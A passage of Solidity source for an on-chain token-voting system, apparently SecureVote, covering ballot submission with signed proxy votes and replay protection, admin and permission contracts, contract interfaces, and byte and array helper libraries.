return (db.votes[id].voteData, address(db.votes[id].castTsAndSender), db.votes[id].extra, uint(db.votes[id].castTsAndSender) >> 160);
}
function getSequenceNumber(DB storage db, address voter) internal view returns (uint32) {
return db.sequenceNumber[voter];
}
function getTotalSponsorship(DB storage db) internal view returns (uint total) {
for (uint i = 0; i < db.sponsors.length; i++) {
total += db.sponsors[i].amount;
}
}
function getSponsor(DB storage db, uint i) external view returns (address sender, uint amount) {
sender = db.sponsors[i].sender;
amount = db.sponsors[i].amount;
}
/* ETH BALLOTS */
// Ballot submission
// note: if USE_ENC then curve25519 keys should be generated for
// each ballot (then thrown away).
// the curve25519 PKs go in the extra param
function submitVote(DB storage db, bytes32 voteData, bytes extra) external {
_addVote(db, voteData, msg.sender, extra);
// set the sequence number to max uint32 to disable proxy submitted ballots
// after a voter submits a transaction personally - effectivley disables proxy
// ballots. You can _always_ submit a new vote _personally_ with this scheme.
if (db.sequenceNumber[msg.sender] != MAX_UINT32) {
// using an IF statement here let's us save 4800 gas on repeat votes at the cost of 20k extra gas initially
db.sequenceNumber[msg.sender] = MAX_UINT32;
}
}
// Boundaries for constructing the msg we'll validate the signature of
function submitProxyVote(DB storage db, bytes32[5] proxyReq, bytes extra) external {
// a proxy vote (where the vote is submitted (i.e. tx fee paid by someone else)
// docs for datastructs: https://github.com/secure-vote/tokenvote/blob/master/Docs/DataStructs.md
bytes32 r = proxyReq[0];
bytes32 s = proxyReq[1];
uint8 v = uint8(proxyReq[2][0]);
// converting to uint248 will truncate the first byte, and we can then convert it to a bytes31.
bytes31 proxyReq2 = bytes31(uint248(proxyReq[2]));
// proxyReq[3] is ballotId - required for verifying sig but not used for anything else
bytes32 ballotId = proxyReq[3];
bytes32 voteData = proxyReq[4];
// using abi.encodePacked is much cheaper than making bytes in other ways...
bytes memory signed = abi.encodePacked(proxyReq2, ballotId, voteData, extra);
bytes32 msgHash = keccak256(signed);
// need to be sure we are signing the entire ballot and any extra data that comes with it
address voter = ecrecover(msgHash, v, r, s);
// we need to make sure that this is the most recent vote the voter made, and that it has
// not been seen before. NOTE: we've already validated the BBFarm namespace before this, so
// we know it's meant for _this_ ballot.
uint32 sequence = uint32(proxyReq2); // last 4 bytes of proxyReq2 - the sequence number
_proxyReplayProtection(db, voter, sequence);
_addVote(db, voteData, voter, extra);
}
function _addVote(DB storage db, bytes32 voteData, address sender, bytes extra) internal returns (uint256 id) {
requireBallotOpen(db);
id = db.nVotesCast;
db.votes[id].voteData = voteData;
// pack the casting ts right next to the sender
db.votes[id].castTsAndSender = bytes32(sender) ^ bytes32(now << 160);
if (extra.length > 0) {
db.votes[id].extra = extra;
}
db.nVotesCast += 1;
emit SuccessfulVote(sender, id);
}
function _proxyReplayProtection(DB storage db, address voter, uint32 sequence) internal {
// we want the replay protection sequence number to be STRICTLY MORE than what
// is stored in the mapping. This means we can set sequence to MAX_UINT32 to disable
// any future votes.
require(db.sequenceNumber[voter] < sequence, "bad-sequence-n");
db.sequenceNumber[voter] = sequence;
}
/* Admin */
function setEndTime(DB storage db, uint64 newEndTime) external {
uint16 sb;
uint64 sTs;
(sb, sTs,) = BPackedUtils.unpackAll(db.packed);
db.packed = BPackedUtils.pack(sb, sTs, newEndTime);
}
function revealSeckey(DB storage db, bytes32 sk) internal {
db.ballotEncryptionSeckey = sk;
emit SeckeyRevealed(sk);
}
/* Submission Bits (Ballot Classifications) */
// do (bits & SETTINGS_MASK) to get just operational bits (as opposed to testing or official flag)
uint16 constant SETTINGS_MASK = 0xFFFF ^ USE_TESTING ^ IS_OFFICIAL ^ IS_BINDING;
function isEthNoEnc(uint16 submissionBits) pure internal returns (bool) {
return checkFlags(submissionBits, USE_ETH | USE_NO_ENC);
}
function isEthWithEnc(uint16 submissionBits) pure internal returns (bool) {
return checkFlags(submissionBits, USE_ETH | USE_ENC);
}
function isOfficial(uint16 submissionBits) pure internal returns (bool) {
return (submissionBits & IS_OFFICIAL) == IS_OFFICIAL;
}
function isBinding(uint16 submissionBits) pure internal returns (bool) {
return (submissionBits & IS_BINDING) == IS_BINDING;
}
function isTesting(uint16 submissionBits) pure internal returns (bool) {
return (submissionBits & USE_TESTING) == USE_TESTING;
}
function qualifiesAsCommunityBallot(uint16 submissionBits) pure internal returns (bool) {
// if submissionBits AND any of the bits that make this _not_ a community
// ballot is equal to zero that means none of those bits were active, so
// it could be a community ballot
return (submissionBits & (IS_BINDING | IS_OFFICIAL | USE_ENC)) == 0;
}
function checkFlags(uint16 submissionBits, uint16 expected) pure internal returns (bool) {
// this should ignore ONLY the testing/flag bits - all other bits are significant
uint16 sBitsNoSettings = submissionBits & SETTINGS_MASK;
// then we want ONLY expected
return sBitsNoSettings == expected;
}
}
library BPackedUtils {
// the uint16 ending at 128 bits should be 0s
uint256 constant sbMask = 0xffffffffffffffffffffffffffff0000ffffffffffffffffffffffffffffffff;
uint256 constant startTimeMask = 0xffffffffffffffffffffffffffffffff0000000000000000ffffffffffffffff;
uint256 constant endTimeMask = 0xffffffffffffffffffffffffffffffffffffffffffffffff0000000000000000;
function packedToSubmissionBits(uint256 packed) internal pure returns (uint16) {
return uint16(packed >> 128);
}
function packedToStartTime(uint256 packed) internal pure returns (uint64) {
return uint64(packed >> 64);
}
function packedToEndTime(uint256 packed) internal pure returns (uint64) {
return uint64(packed);
}
function unpackAll(uint256 packed) internal pure returns (uint16 submissionBits, uint64 startTime, uint64 endTime) {
submissionBits = uint16(packed >> 128);
startTime = uint64(packed >> 64);
endTime = uint64(packed);
}
function pack(uint16 sb, uint64 st, uint64 et) internal pure returns (uint256 packed) {
return uint256(sb) << 128 | uint256(st) << 64 | uint256(et);
}
function setSB(uint256 packed, uint16 newSB) internal pure returns (uint256) {
return (packed & sbMask) | uint256(newSB) << 128;
}
// function setStartTime(uint256 packed, uint64 startTime) internal pure returns (uint256) {
// return (packed & startTimeMask) | uint256(startTime) << 64;
// }
// function setEndTime(uint256 packed, uint64 endTime) internal pure returns (uint256) {
// return (packed & endTimeMask) | uint256(endTime);
// }
}
interface BallotBoxIface {
function getVersion() external pure returns (uint256);
function getVote(uint256) external view returns (bytes32 voteData, address sender, bytes32 encPK);
function getDetails(address voter) external view returns (
bool hasVoted,
uint nVotesCast,
bytes32 secKey,
uint16 submissionBits,
uint64 startTime,
uint64 endTime,
bytes32 specHash,
bool deprecated,
address ballotOwner);
function getTotalSponsorship() external view returns (uint);
function submitVote(bytes32 voteData, bytes32 encPK) external;
function revealSeckey(bytes32 sk) external;
function setEndTime(uint64 newEndTime) external;
function setDeprecated() external;
function setOwner(address) external;
function getOwner() external view returns (address);
event CreatedBallot(bytes32 specHash, uint64 startTs, uint64 endTs, uint16 submissionBits);
event SuccessfulVote(address indexed voter, uint voteId);
event SeckeyRevealed(bytes32 secretKey);
}
interface BBAuxIface {
function isTesting(BallotBoxIface bb) external view returns (bool);
function isOfficial(BallotBoxIface bb) external view returns (bool);
function isBinding(BallotBoxIface bb) external view returns (bool);
function qualifiesAsCommunityBallot(BallotBoxIface bb) external view returns (bool);
function isDeprecated(BallotBoxIface bb) external view returns (bool);
function getEncSeckey(BallotBoxIface bb) external view returns (bytes32);
function getSpecHash(BallotBoxIface bb) external view returns (bytes32);
function getSubmissionBits(BallotBoxIface bb) external view returns (uint16);
function getStartTime(BallotBoxIface bb) external view returns (uint64);
function getEndTime(BallotBoxIface bb) external view returns (uint64);
function getNVotesCast(BallotBoxIface bb) external view returns (uint256 nVotesCast);
function hasVoted(BallotBoxIface bb, address voter) external view returns (bool hv);
}
interface IxIface {
function doUpgrade(address) external;
function addBBFarm(BBFarmIface bbFarm) external returns (uint8 bbFarmId);
function emergencySetABackend(bytes32 toSet, address newSC) external;
function emergencySetBBFarm(uint8 bbFarmId, address _bbFarm) external;
function emergencySetDAdmin(bytes32 democHash, address newAdmin) external;
function getPayments() external view returns (IxPaymentsIface);
function getBackend() external view returns (IxBackendIface);
function getBBFarm(uint8 bbFarmId) external view returns (BBFarmIface);
function getBBFarmID(bytes4 bbNamespace) external view returns (uint8 bbFarmId);
function getVersion() external view returns (uint256);
function dInit(address defualtErc20) external payable returns (bytes32);
function setDErc20(bytes32 democHash, address newErc20) external;
function dAddCategory(bytes32 democHash, bytes32 categoryName, bool hasParent, uint parent) external returns (uint);
function dDeprecateCategory(bytes32 democHash, uint categoryId) external;
function dUpgradeToPremium(bytes32 democHash) external;
function dDowngradeToBasic(bytes32 democHash) external;
function dSetArbitraryData(bytes32 democHash, bytes key, bytes value) external;
/* democ getters (that used to be here) should be called on either backend or payments directly */
/* use IxLib for convenience functions from other SCs */
/* ballot deployment */
// only ix owner - used for adding past or special ballots
function dAddBallot(bytes32 democHash, uint ballotId, uint256 packed) external;
function dDeployBallot(bytes32 democHash, bytes32 specHash, bytes32 extraData, uint256 packed) external payable returns (uint);
/* events */
event PaymentMade(uint[2] valAndRemainder);
event Emergency(bytes32 setWhat);
event EmergencyDemocAdmin(bytes32 democHash, address newAdmin);
event EmergencyBBFarm(uint16 bbFarmId);
event AddedBBFarm(uint16 bbFarmId);
event ManuallyAddedBallot(bytes32 democHash, uint256 ballotId, uint256 packed);
// from backend
event NewBallot(bytes32 indexed democHash, uint ballotN);
event NewDemoc(bytes32 democHash);
event DemocAdminSet(bytes32 indexed democHash, address admin);
// from BBFarm
event BallotCreatedWithID(uint ballotId);
}
interface IxPaymentsIface {
function upgradeMe(address) external;
function payoutAll() external;
function setPayTo(address) external;
function getPayTo() external view returns (address);
function setMinorEditsAddr(address) external;
function getCommunityBallotCentsPrice() external view returns (uint);
function setCommunityBallotCentsPrice(uint) external;
function getCommunityBallotWeiPrice() external view returns (uint);
function setBasicCentsPricePer30Days(uint amount) external;
function getBasicCentsPricePer30Days() external view returns(uint);
function getBasicExtraBallotFeeWei() external view returns (uint);
function getBasicBallotsPer30Days() external view returns (uint);
function setBasicBallotsPer30Days(uint amount) external;
function setPremiumMultiplier(uint8 amount) external;
function getPremiumMultiplier() external view returns (uint8);
function getPremiumCentsPricePer30Days() external view returns (uint);
function setWeiPerCent(uint) external;
function setFreeExtension(bytes32 democHash, bool hasFreeExt) external;
function getWeiPerCent() external view returns (uint weiPerCent);
function getUsdEthExchangeRate() external view returns (uint centsPerEth);
function weiBuysHowManySeconds(uint amount) external view returns (uint secs);
function downgradeToBasic(bytes32 democHash) external;
function upgradeToPremium(bytes32 democHash) external;
function doFreeExtension(bytes32 democHash) external;
function payForDemocracy(bytes32 democHash) external payable;
function accountInGoodStanding(bytes32 democHash) external view returns (bool);
function getSecondsRemaining(bytes32 democHash) external view returns (uint);
function getPremiumStatus(bytes32 democHash) external view returns (bool);
function getAccount(bytes32 democHash) external view returns (bool isPremium, uint lastPaymentTs, uint paidUpTill, bool hasFreeExtension);
function getFreeExtension(bytes32 democHash) external view returns (bool);
function giveTimeToDemoc(bytes32 democHash, uint additionalSeconds, bytes32 ref) external;
function setDenyPremium(bytes32 democHash, bool isPremiumDenied) external;
function getDenyPremium(bytes32 democHash) external view returns (bool);
function getPaymentLogN() external view returns (uint);
function getPaymentLog(uint n) external view returns (bool _external, bytes32 _democHash, uint _seconds, uint _ethValue);
event UpgradedToPremium(bytes32 indexed democHash);
event GrantedAccountTime(bytes32 indexed democHash, uint additionalSeconds, bytes32 ref);
event AccountPayment(bytes32 indexed democHash, uint additionalSeconds);
event SetCommunityBallotFee(uint amount);
event SetBasicCentsPricePer30Days(uint amount);
event SetPremiumMultiplier(uint8 multiplier);
event DowngradeToBasic(bytes32 indexed democHash);
event UpgradeToPremium(bytes32 indexed democHash);
event SetExchangeRate(uint weiPerCent);
event FreeExtension(bytes32 democHash);
}
interface IxBackendIface {
function upgradeMe(address) external;
/* global getters */
function getGDemocsN() external view returns (uint);
function getGDemoc(uint id) external view returns (bytes32);
function getGErc20ToDemocs(address erc20) external view returns (bytes32[] democHashes);
/* democ admin */
function dInit(address defaultErc20) external returns (bytes32);
function dAddBallot(bytes32 democHash, uint ballotId, uint256 packed, bool recordTowardsBasicLimit) external;
function dAddCategory(bytes32 democHash, bytes32 categoryName, bool hasParent, uint parent) external returns (uint);
function dDeprecateCategory(bytes32 democHash, uint categoryId) external;
function setDAdmin(bytes32 democHash, address newAdmin) external;
function setDErc20(bytes32 democHash, address newErc20) external;
function dSetArbitraryData(bytes32 democHash, bytes key, bytes value) external;
/* global democ getters */
function getDInfo(bytes32 democHash) external view returns (address erc20, address admin, uint256 nBallots);
function getDErc20(bytes32 democHash) external view returns (address);
function getDAdmin(bytes32 democHash) external view returns (address);
function getDArbitraryData(bytes32 democHash, bytes key) external view returns (bytes value);
function getDBallotsN(bytes32 democHash) external view returns (uint256);
function getDBallotID(bytes32 democHash, uint n) external view returns (uint ballotId);
function getDCountedBasicBallotsN(bytes32 democHash) external view returns (uint256);
function getDCountedBasicBallotID(bytes32 democHash, uint256 n) external view returns (uint256);
function getDCategoriesN(bytes32 democHash) external view returns (uint);
function getDCategory(bytes32 democHash, uint categoryId) external view returns (bool deprecated, bytes32 name, bool hasParent, uint parent);
/* just for prefix stuff */
function getDHash(bytes13 prefix) external view returns (bytes32);
/* events */
event NewBallot(bytes32 indexed democHash, uint ballotN);
event NewDemoc(bytes32 democHash);
event DemocAdminSet(bytes32 indexed democHash, address admin);
}
contract SVBallotConsts {
// voting settings
uint16 constant USE_ETH = 1; // 2^0
uint16 constant USE_SIGNED = 2; // 2^1
uint16 constant USE_NO_ENC = 4; // 2^2
uint16 constant USE_ENC = 8; // 2^3
// ballot settings
uint16 constant IS_BINDING = 8192; // 2^13
uint16 constant IS_OFFICIAL = 16384; // 2^14
uint16 constant USE_TESTING = 32768; // 2^15
}
contract safeSend {
bool private txMutex3847834;
// we want to be able to call outside contracts (e.g. the admin proxy contract)
// but reentrency is bad, so here's a mutex.
function doSafeSend(address toAddr, uint amount) internal {
doSafeSendWData(toAddr, "", amount);
}
function doSafeSendWData(address toAddr, bytes data, uint amount) internal {
require(txMutex3847834 == false, "ss-guard");
txMutex3847834 = true;
// we need to use address.call.value(v)() because we want
// to be able to send to other contracts, even with no data,
// which might use more than 2300 gas in their fallback function.
require(toAddr.call.value(amount)(data), "ss-failed");
txMutex3847834 = false;
}
}
contract payoutAllC is safeSend {
address _payTo;
constructor() public {
_payTo = msg.sender;
}
function payoutAll() external {
doSafeSend(_payTo, address(this).balance);
}
}
contract owned {
address public owner;
event OwnerChanged(address newOwner);
modifier only_owner() {
require(msg.sender == owner, "only_owner: forbidden");
_;
}
constructor() public {
owner = msg.sender;
}
function setOwner(address newOwner) only_owner() external {
owner = newOwner;
emit OwnerChanged(newOwner);
}
}
contract hasAdmins is owned {
mapping (uint => mapping (address => bool)) admins;
uint public currAdminEpoch = 0;
bool public adminsDisabledForever = false;
address[] adminLog;
event AdminAdded(address indexed newAdmin);
event AdminRemoved(address indexed oldAdmin);
event AdminEpochInc();
event AdminDisabledForever();
modifier only_admin() {
require(adminsDisabledForever == false, "admins must not be disabled");
require(isAdmin(msg.sender), "only_admin: forbidden");
_;
}
constructor() public {
_setAdmin(msg.sender, true);
}
function isAdmin(address a) view public returns (bool) {
return admins[currAdminEpoch][a];
}
function getAdminLogN() view external returns (uint) {
return adminLog.length;
}
function getAdminLog(uint n) view external returns (address) {
return adminLog[n];
}
function upgradeMeAdmin(address newAdmin) only_admin() external {
// note: already checked msg.sender has admin with `only_admin` modifier
require(msg.sender != owner, "owner cannot upgrade self");
_setAdmin(msg.sender, false);
_setAdmin(newAdmin, true);
}
function setAdmin(address a, bool _givePerms) only_admin() external {
require(a != msg.sender && a != owner, "cannot change your own (or owner's) permissions");
_setAdmin(a, _givePerms);
}
function _setAdmin(address a, bool _givePerms) internal {
admins[currAdminEpoch][a] = _givePerms;
if (_givePerms) {
emit AdminAdded(a);
adminLog.push(a);
} else {
emit AdminRemoved(a);
}
}
// safety feature if admins go bad or something
function incAdminEpoch() only_owner() external {
currAdminEpoch++;
admins[currAdminEpoch][msg.sender] = true;
emit AdminEpochInc();
}
// this is internal so contracts can all it, but not exposed anywhere in this
// contract.
function disableAdminForever() internal {
currAdminEpoch++;
adminsDisabledForever = true;
emit AdminDisabledForever();
}
}
contract permissioned is owned, hasAdmins {
mapping (address => bool) editAllowed;
bool public adminLockdown = false;
event PermissionError(address editAddr);
event PermissionGranted(address editAddr);
event PermissionRevoked(address editAddr);
event PermissionsUpgraded(address oldSC, address newSC);
event SelfUpgrade(address oldSC, address newSC);
event AdminLockdown();
modifier only_editors() {
require(editAllowed[msg.sender], "only_editors: forbidden");
_;
}
modifier no_lockdown() {
require(adminLockdown == false, "no_lockdown: check failed");
_;
}
constructor() owned() hasAdmins() public {
}
function setPermissions(address e, bool _editPerms) no_lockdown() only_admin() external {
editAllowed[e] = _editPerms;
if (_editPerms)
emit PermissionGranted(e);
else
emit PermissionRevoked(e);
}
function upgradePermissionedSC(address oldSC, address newSC) no_lockdown() only_admin() external {
editAllowed[oldSC] = false;
editAllowed[newSC] = true;
emit PermissionsUpgraded(oldSC, newSC);
}
// always allow SCs to upgrade themselves, even after lockdown
function upgradeMe(address newSC) only_editors() external {
editAllowed[msg.sender] = false;
editAllowed[newSC] = true;
emit SelfUpgrade(msg.sender, newSC);
}
function hasPermissions(address a) public view returns (bool) {
return editAllowed[a];
}
function doLockdown() external only_owner() no_lockdown() {
disableAdminForever();
adminLockdown = true;
emit AdminLockdown();
}
}
contract upgradePtr {
address ptr = address(0);
modifier not_upgraded() {
require(ptr == address(0), "upgrade pointer is non-zero");
_;
}
function getUpgradePointer() view external returns (address) {
return ptr;
}
function doUpgradeInternal(address nextSC) internal {
ptr = nextSC;
}
}
interface ERC20Interface {
// Get the total token supply
function totalSupply() constant external returns (uint256 _totalSupply);
// Get the account balance of another account with address _owner
function balanceOf(address _owner) constant external returns (uint256 balance);
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value) external returns (bool success);
// Send _value amount of tokens from address _from to address _to
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
// Allow _spender to withdraw from your account, multiple times, up to the _value amount.
// If this function is called again it overwrites the current allowance with _value.
// this function is required for some DEX functionality
function approve(address _spender, uint256 _value) external returns (bool success);
// Returns the amount which _spender is still allowed to withdraw from _owner
function allowance(address _owner, address _spender) constant external returns (uint256 remaining);
// Triggered when tokens are transferred.
event Transfer(address indexed _from, address indexed _to, uint256 _value);
// Triggered whenever approve(address _spender, uint256 _value) is called.
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
library BytesLib {
function concat(bytes memory _preBytes, bytes memory _postBytes) internal pure returns (bytes) {
bytes memory tempBytes;
assembly {
// Get a location of some free memory and store it in tempBytes as
// Solidity does for memory variables.
tempBytes := mload(0x40)
// Store the length of the first bytes array at the beginning of
// the memory for tempBytes.
let length := mload(_preBytes)
mstore(tempBytes, length)
// Maintain a memory counter for the current write location in the
// temp bytes array by adding the 32 bytes for the array length to
// the starting location.
let mc := add(tempBytes, 0x20)
// Stop copying when the memory counter reaches the length of the
// first bytes array.
let end := add(mc, length)
for {
// Initialize a copy counter to the start of the _preBytes data,
// 32 bytes into its memory.
let cc := add(_preBytes, 0x20)
} lt(mc, end) {
// Increase both counters by 32 bytes each iteration.
mc := add(mc, 0x20)
cc := add(cc, 0x20)
} {
// Write the _preBytes data into the tempBytes memory 32 bytes
// at a time.
mstore(mc, mload(cc))
}
// Add the length of _postBytes to the current length of tempBytes
// and store it as the new length in the first 32 bytes of the
// tempBytes memory.
length := mload(_postBytes)
mstore(tempBytes, add(length, mload(tempBytes)))
// Move the memory counter back from a multiple of 0x20 to the
// actual end of the _preBytes data.
mc := end
// Stop copying when the memory counter reaches the new combined
// length of the arrays.
end := add(mc, length)
for {
let cc := add(_postBytes, 0x20)
} lt(mc, end) {
mc := add(mc, 0x20)
cc := add(cc, 0x20)
} {
mstore(mc, mload(cc))
}
// Update the free-memory pointer by padding our last write location
// to 32 bytes: add 31 bytes to the end of tempBytes to move to the
// next 32 byte block, then round down to the nearest multiple of
// 32. If the sum of the length of the two arrays is zero then add
// one before rounding down to leave a blank 32 bytes (the length block with 0).
mstore(0x40, and(
add(add(end, iszero(add(length, mload(_preBytes)))), 31),
not(31) // Round down to the nearest 32 bytes.
))
}
return tempBytes;
}
function concatStorage(bytes storage _preBytes, bytes memory _postBytes) internal {
assembly {
// Read the first 32 bytes of _preBytes storage, which is the length
// of the array. (We don't need to use the offset into the slot
// because arrays use the entire slot.)
let fslot := sload(_preBytes_slot)
// Arrays of 31 bytes or less have an even value in their slot,
// while longer arrays have an odd value. The actual length is
// the slot divided by two for odd values, and the lowest order
// byte divided by two for even values.
// If the slot is even, bitwise and the slot with 255 and divide by
// two to get the length. If the slot is odd, bitwise and the slot
// with -1 and divide by two.
let slength := div(and(fslot, sub(mul(0x100, iszero(and(fslot, 1))), 1)), 2)
let mlength := mload(_postBytes)
let newlength := add(slength, mlength)
// slength can contain both the length and contents of the array
// if length < 32 bytes so let's prepare for that
// v. http://solidity.readthedocs.io/en/latest/miscellaneous.html#layout-of-state-variables-in-storage
switch add(lt(slength, 32), lt(newlength, 32))
case 2 {
// Since the new array still fits in the slot, we just need to
// update the contents of the slot.
// uint256(bytes_storage) = uint256(bytes_storage) + uint256(bytes_memory) + new_length
sstore(
_preBytes_slot,
// all the modifications to the slot are inside this
// next block
add(
// we can just add to the slot contents because the
// bytes we want to change are the LSBs
fslot,
add(
mul(
div(
// load the bytes from memory
mload(add(_postBytes, 0x20)),
// zero all bytes to the right
exp(0x100, sub(32, mlength))
),
// and now shift left the number of bytes to
// leave space for the length in the slot
exp(0x100, sub(32, newlength))
),
// increase length by the double of the memory
// bytes length
mul(mlength, 2)
)
)
)
}
case 1 {
// The stored value fits in the slot, but the combined value
// will exceed it.
// get the keccak hash to get the contents of the array
mstore(0x0, _preBytes_slot)
let sc := add(keccak256(0x0, 0x20), div(slength, 32))
// save new length
sstore(_preBytes_slot, add(mul(newlength, 2), 1))
// The contents of the _postBytes array start 32 bytes into
// the structure. Our first read should obtain the `submod`
// bytes that can fit into the unused space in the last word
// of the stored array. To get this, we read 32 bytes starting
// from `submod`, so the data we read overlaps with the array
// contents by `submod` bytes. Masking the lowest-order
// `submod` bytes allows us to add that value directly to the
// stored value.
let submod := sub(32, slength)
let mc := add(_postBytes, submod)
let end := add(_postBytes, mlength)
let mask := sub(exp(0x100, submod), 1)
sstore(
sc,
add(
and(
fslot,
0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00
),
and(mload(mc), mask)
)
)
for {
mc := add(mc, 0x20)
sc := add(sc, 1)
} lt(mc, end) {
sc := add(sc, 1)
mc := add(mc, 0x20)
} {
sstore(sc, mload(mc))
}
mask := exp(0x100, sub(mc, end))
sstore(sc, mul(div(mload(mc), mask), mask))
}
default {
// get the keccak hash to get the contents of the array
mstore(0x0, _preBytes_slot)
// Start copying to the last used word of the stored array.
let sc := add(keccak256(0x0, 0x20), div(slength, 32))
// save new length
sstore(_preBytes_slot, add(mul(newlength, 2), 1))
// Copy over the first `submod` bytes of the new data as in
// case 1 above.
let slengthmod := mod(slength, 32)
let mlengthmod := mod(mlength, 32)
let submod := sub(32, slengthmod)
let mc := add(_postBytes, submod)
let end := add(_postBytes, mlength)
let mask := sub(exp(0x100, submod), 1)
sstore(sc, add(sload(sc), and(mload(mc), mask)))
for {
sc := add(sc, 1)
mc := add(mc, 0x20)
} lt(mc, end) {
sc := add(sc, 1)
mc := add(mc, 0x20)
} {
sstore(sc, mload(mc))
}
mask := exp(0x100, sub(mc, end))
sstore(sc, mul(div(mload(mc), mask), mask))
}
}
}
function slice(bytes _bytes, uint _start, uint _length) internal pure returns (bytes) {
require(_bytes.length >= (_start + _length));
bytes memory tempBytes;
assembly {
switch iszero(_length)
case 0 {
// Get a location of some free memory and store it in tempBytes as
// Solidity does for memory variables.
tempBytes := mload(0x40)
// The first word of the slice result is potentially a partial
// word read from the original array. To read it, we calculate
// the length of that partial word and start copying that many
// bytes into the array. The first word we copy will start with
// data we don't care about, but the last `lengthmod` bytes will
// land at the beginning of the contents of the new array. When
// we're done copying, we overwrite the full first word with
// the actual length of the slice.
let lengthmod := and(_length, 31)
// The multiplication in the next line is necessary
// because when slicing multiples of 32 bytes (lengthmod == 0)
// the following copy loop was copying the origin's length
// and then ending prematurely not copying everything it should.
let mc := add(add(tempBytes, lengthmod), mul(0x20, iszero(lengthmod)))
let end := add(mc, _length)
for {
// The multiplication in the next line has the same exact purpose
// as the one above.
let cc := add(add(add(_bytes, lengthmod), mul(0x20, iszero(lengthmod))), _start)
} lt(mc, end) {
mc := add(mc, 0x20)
cc := add(cc, 0x20)
} {
mstore(mc, mload(cc))
}
mstore(tempBytes, _length)
//update free-memory pointer
//allocating the array padded to 32 bytes like the compiler does now
mstore(0x40, and(add(mc, 31), not(31)))
}
//if we want a zero-length slice let's just return a zero-length array
default {
tempBytes := mload(0x40)
mstore(0x40, add(tempBytes, 0x20))
}
}
return tempBytes;
}
function toAddress(bytes _bytes, uint _start) internal pure returns (address) {
require(_bytes.length >= (_start + 20));
address tempAddress;
assembly {
tempAddress := div(mload(add(add(_bytes, 0x20), _start)), 0x1000000000000000000000000)
}
return tempAddress;
}
function toUint(bytes _bytes, uint _start) internal pure returns (uint256) {
require(_bytes.length >= (_start + 32));
uint256 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x20), _start))
}
return tempUint;
}
function equal(bytes memory _preBytes, bytes memory _postBytes) internal pure returns (bool) {
bool success = true;
assembly {
let length := mload(_preBytes)
// if lengths don't match the arrays are not equal
switch eq(length, mload(_postBytes))
case 1 {
// cb is a circuit breaker in the for loop since there's
// no said feature for inline assembly loops
// cb = 1 - don't breaker
// cb = 0 - break
let cb := 1
let mc := add(_preBytes, 0x20)
let end := add(mc, length)
for {
let cc := add(_postBytes, 0x20)
// the next line is the loop condition:
// while(uint(mc < end) + cb == 2)
} eq(add(lt(mc, end), cb), 2) {
mc := add(mc, 0x20)
cc := add(cc, 0x20)
} {
// if any of these checks fails then arrays are not equal
if iszero(eq(mload(mc), mload(cc))) {
// unsuccess:
success := 0
cb := 0
}
}
}
default {
// unsuccess:
success := 0
}
}
return success;
}
function equalStorage(bytes storage _preBytes, bytes memory _postBytes) internal view returns (bool) {
bool success = true;
assembly {
// we know _preBytes_offset is 0
let fslot := sload(_preBytes_slot)
// Decode the length of the stored array like in concatStorage().
let slength := div(and(fslot, sub(mul(0x100, iszero(and(fslot, 1))), 1)), 2)
let mlength := mload(_postBytes)
// if lengths don't match the arrays are not equal
switch eq(slength, mlength)
case 1 {
// slength can contain both the length and contents of the array
// if length < 32 bytes so let's prepare for that
// v. http://solidity.readthedocs.io/en/latest/miscellaneous.html#layout-of-state-variables-in-storage
if iszero(iszero(slength)) {
switch lt(slength, 32)
case 1 {
// blank the last byte which is the length
fslot := mul(div(fslot, 0x100), 0x100)
if iszero(eq(fslot, mload(add(_postBytes, 0x20)))) {
// unsuccess:
success := 0
}
}
default {
// cb is a circuit breaker in the for loop since there's
// no said feature for inline assembly loops
// cb = 1 - don't breaker
// cb = 0 - break
let cb := 1
// get the keccak hash to get the contents of the array
mstore(0x0, _preBytes_slot)
let sc := keccak256(0x0, 0x20)
let mc := add(_postBytes, 0x20)
let end := add(mc, mlength)
// the next line is the loop condition:
// while(uint(mc < end) + cb == 2)
for {} eq(add(lt(mc, end), cb), 2) {
sc := add(sc, 1)
mc := add(mc, 0x20)
} {
if iszero(eq(sload(sc), mload(mc))) {
// unsuccess:
success := 0
cb := 0
}
}
}
}
}
default {
// unsuccess:
success := 0
}
}
return success;
}
}
library MemArrApp {
// A simple library to allow appending to memory arrays.
function appendUint256(uint256[] memory arr, uint256 val) internal pure returns (uint256[] memory toRet) {
toRet = new uint256[](arr.length + 1);
for (uint256 i = 0; i < arr.length; i++) {
toRet[i] = arr[i];
}
toRet[arr.length] = val;
}
function appendUint128(uint128[] memory arr, uint128 val) internal pure returns (uint128[] memory toRet) {
toRet = new uint128[](arr.length + 1);
for (uint256 i = 0; i < arr.length; i++) {
toRet[i] = arr[i];
}
toRet[arr.length] = val;
}
function appendUint64(uint64[] memory arr, uint64 val) internal pure returns (uint64[] memory toRet) {
toRet = new uint64[](arr.length + 1);
for (uint256 i = 0; i < arr.length; i++) {
toRet[i] = arr[i];
}
toRet[arr.length] = val;
}
function appendUint32(uint32[] memory arr, uint32 val) internal pure returns (uint32[] memory toRet) {
toRet = new uint32[](arr.length + 1);
for (uint256 i = 0; i < arr.length; i++) {
toRet[i] = arr[i];
}
toRet[arr.length] = val;
}
function appendUint16(uint16[] memory arr, uint16 val) internal pure returns (uint16[] memory toRet) {
toRet = new uint16[](arr.length + 1);
for (uint256 i = 0; i < arr.length; i++) {
toRet[i] = arr[i];
}
toRet[arr.length] = val;
}
function appendBool(bool[] memory arr, bool val) internal pure returns (bool[] memory toRet) {
toRet = new bool[](arr.length + 1);
for (uint256 i = 0; i < arr.length; i++) {
toRet[i] = arr[i];
}
toRet[arr.length] = val;
}
function appendBytes32(bytes32[] memory arr, bytes32 val) internal pure returns (bytes32[] memory toRet) {
toRet = new bytes32[](arr.length + 1);
for (uint256 i = 0; i < arr.length; i++) {
toRet[i] = arr[i];
}
toRet[arr.length] = val;
}
function appendBytes32Pair(bytes32[2][] memory arr, bytes32[2] val) internal pure returns (bytes32[2][] memory toRet) {
toRet = new bytes32[2][](arr.length + 1);
for (uint256 i = 0; i < arr.length; i++) {
toRet[i] = arr[i];
}
toRet[arr.length] = val;
}
function appendBytes(bytes[] memory arr, bytes val) internal pure returns (bytes[] memory toRet) {
toRet = new bytes[](arr.length + 1);
for (uint256 i = 0; i < arr.length; i++) {
toRet[i] = arr[i];
}
toRet[arr.length] = val;
}
